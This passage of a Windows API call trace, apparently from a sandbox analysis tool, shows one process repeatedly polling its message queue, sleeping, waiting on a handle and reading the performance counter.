[0141.155] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.156] Sleep (dwMilliseconds=0x64) [0141.170] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.170] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745999422) returned 1 [0141.170] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745999592) returned 1 [0141.170] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.171] Sleep (dwMilliseconds=0x64) [0141.185] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.186] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746052814) returned 1 [0141.186] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746053051) returned 1 [0141.186] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.187] Sleep (dwMilliseconds=0x64) [0141.201] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.201] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746106815) returned 1 [0141.201] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746106987) returned 1 [0141.202] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.202] Sleep (dwMilliseconds=0x64) [0141.217] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746159260) returned 1 [0141.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746159427) returned 1 [0141.217] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.218] Sleep (dwMilliseconds=0x64) [0141.232] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.232] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746212671) returned 1 [0141.232] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746212841) returned 1 [0141.233] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.233] Sleep (dwMilliseconds=0x64) [0141.248] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746265922) returned 1 [0141.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746266091) returned 1 [0141.248] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.249] Sleep (dwMilliseconds=0x64) [0141.267] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.267] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746331737) returned 1 [0141.267] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746331977) returned 1 [0141.268] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.268] Sleep (dwMilliseconds=0x64) [0141.279] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.279] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746372668) returned 1 [0141.279] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746372924) returned 1 [0141.280] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.280] Sleep (dwMilliseconds=0x64) [0141.296] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746429148) returned 1 [0141.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746429324) returned 1 [0141.296] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.297] Sleep (dwMilliseconds=0x64) [0141.310] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.310] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746479192) returned 1 [0141.310] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746479377) returned 1 [0141.311] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.311] Sleep (dwMilliseconds=0x64) [0141.326] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.326] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746532841) returned 1 [0141.326] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746533016) returned 1 [0141.327] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.327] Sleep (dwMilliseconds=0x64) [0141.342] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.342] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746586293) returned 1 [0141.342] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746586467) returned 1 [0141.342] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.343] Sleep (dwMilliseconds=0x64) [0141.357] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.357] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746640110) returned 1 [0141.357] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746640283) returned 1 [0141.358] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.358] Sleep (dwMilliseconds=0x64) [0141.373] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.373] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746694456) returned 1 [0141.373] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746694625) returned 1 [0141.374] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.374] Sleep (dwMilliseconds=0x64) [0141.388] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.388] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746745983) returned 1 [0141.388] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746746151) returned 1 [0141.389] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.389] Sleep (dwMilliseconds=0x64) [0141.404] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.404] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746799223) returned 1 [0141.404] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746799391) returned 1 [0141.404] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.405] Sleep (dwMilliseconds=0x64) [0141.419] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.420] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746852570) returned 1 [0141.420] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746852768) returned 1 [0141.420] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.421] Sleep (dwMilliseconds=0x64) [0141.435] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.435] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746905864) returned 1 [0141.435] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746906119) returned 1 [0141.436] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.436] Sleep (dwMilliseconds=0x64) [0141.451] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=746959356) returned 1 [0141.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=746959536) returned 1 [0141.451] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.452] Sleep (dwMilliseconds=0x64) [0141.466] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.466] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747012461) returned 1 [0141.466] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747012660) returned 1 [0141.467] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.467] Sleep (dwMilliseconds=0x64) [0141.495] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.495] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747110719) returned 1 [0141.495] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747110877) returned 1 [0141.496] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.496] Sleep (dwMilliseconds=0x64) [0141.500] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747127980) returned 1 [0141.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747128205) returned 1 [0141.501] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.501] Sleep (dwMilliseconds=0x64) [0141.513] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.513] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747172401) returned 1 [0141.513] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747172550) returned 1 [0141.514] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.514] Sleep (dwMilliseconds=0x64) [0141.529] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.529] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747225828) returned 1 [0141.529] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747226028) returned 1 [0141.529] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.530] Sleep (dwMilliseconds=0x64) [0141.544] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.544] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747279696) returned 1 [0141.545] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747279845) returned 1 [0141.545] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.545] Sleep (dwMilliseconds=0x64) [0141.560] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.560] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747332138) returned 1 [0141.560] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747332316) returned 1 [0141.560] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.561] Sleep (dwMilliseconds=0x64) [0141.576] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.576] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747386006) returned 1 [0141.576] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747386171) returned 1 [0141.583] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.583] Sleep (dwMilliseconds=0x64) [0141.591] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.591] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747438621) returned 1 [0141.591] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747438791) returned 1 [0141.592] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.592] Sleep (dwMilliseconds=0x64) [0141.607] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.607] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747493623) returned 1 [0141.607] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747493771) returned 1 [0141.608] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.608] Sleep (dwMilliseconds=0x64) [0141.622] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.622] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747545183) returned 1 [0141.622] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747545317) returned 1 [0141.623] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.623] Sleep (dwMilliseconds=0x64) [0141.648] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.648] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747633766) returned 1 [0141.648] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747633904) returned 1 [0141.649] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.650] Sleep (dwMilliseconds=0x64) [0141.653] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.653] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747651732) returned 1 [0141.653] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747651849) returned 1 [0141.654] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.654] Sleep (dwMilliseconds=0x64) [0141.669] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747705187) returned 1 [0141.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747705309) returned 1 [0141.669] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.670] Sleep (dwMilliseconds=0x64) [0141.685] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.685] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747758791) returned 1 [0141.685] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747758912) returned 1 [0141.685] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.685] Sleep (dwMilliseconds=0x64) [0141.700] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.700] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747812326) returned 1 [0141.700] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747812446) returned 1 [0141.701] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.701] Sleep (dwMilliseconds=0x64) [0141.716] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.716] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747867291) returned 1 [0141.716] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747867411) returned 1 [0141.717] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.717] Sleep (dwMilliseconds=0x64) [0141.731] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.731] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747918518) returned 1 [0141.731] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747918637) returned 1 [0141.732] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.732] Sleep (dwMilliseconds=0x64) [0141.747] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.747] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=747972223) returned 1 [0141.747] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=747972422) returned 1 [0141.748] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.748] Sleep (dwMilliseconds=0x64) [0141.763] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.763] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748025564) returned 1 [0141.763] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748025711) returned 1 [0141.763] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.764] Sleep (dwMilliseconds=0x64) [0141.778] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.778] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748078878) returned 1 [0141.778] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748079025) returned 1 [0141.779] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.779] Sleep (dwMilliseconds=0x64) [0141.796] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.796] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748138520) returned 1 [0141.796] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748138671) returned 1 [0141.796] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.797] Sleep (dwMilliseconds=0x64) [0141.809] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748185615) returned 1 [0141.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748185763) returned 1 [0141.810] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.810] Sleep (dwMilliseconds=0x64) [0141.826] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.827] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748243792) returned 1 [0141.827] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748243932) returned 1 [0141.827] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.828] Sleep (dwMilliseconds=0x64) [0141.841] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.841] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748292161) returned 1 [0141.841] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748292359) returned 1 [0141.841] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.842] Sleep (dwMilliseconds=0x64) [0141.856] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.856] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748345504) returned 1 [0141.856] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748345703) returned 1 [0141.857] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.858] Sleep (dwMilliseconds=0x64) [0141.872] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.872] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748398892) returned 1 [0141.872] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748399090) returned 1 [0141.873] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.873] Sleep (dwMilliseconds=0x64) [0141.888] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.888] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748452470) returned 1 [0141.888] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748452669) returned 1 [0141.888] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.889] Sleep (dwMilliseconds=0x64) [0141.903] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748505466) returned 1 [0141.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748505720) returned 1 [0141.904] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.904] Sleep (dwMilliseconds=0x64) [0141.919] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.919] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748558774) returned 1 [0141.919] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748558959) returned 1 [0141.919] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.920] Sleep (dwMilliseconds=0x64) [0141.935] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.935] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748613733) returned 1 [0141.935] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748613900) returned 1 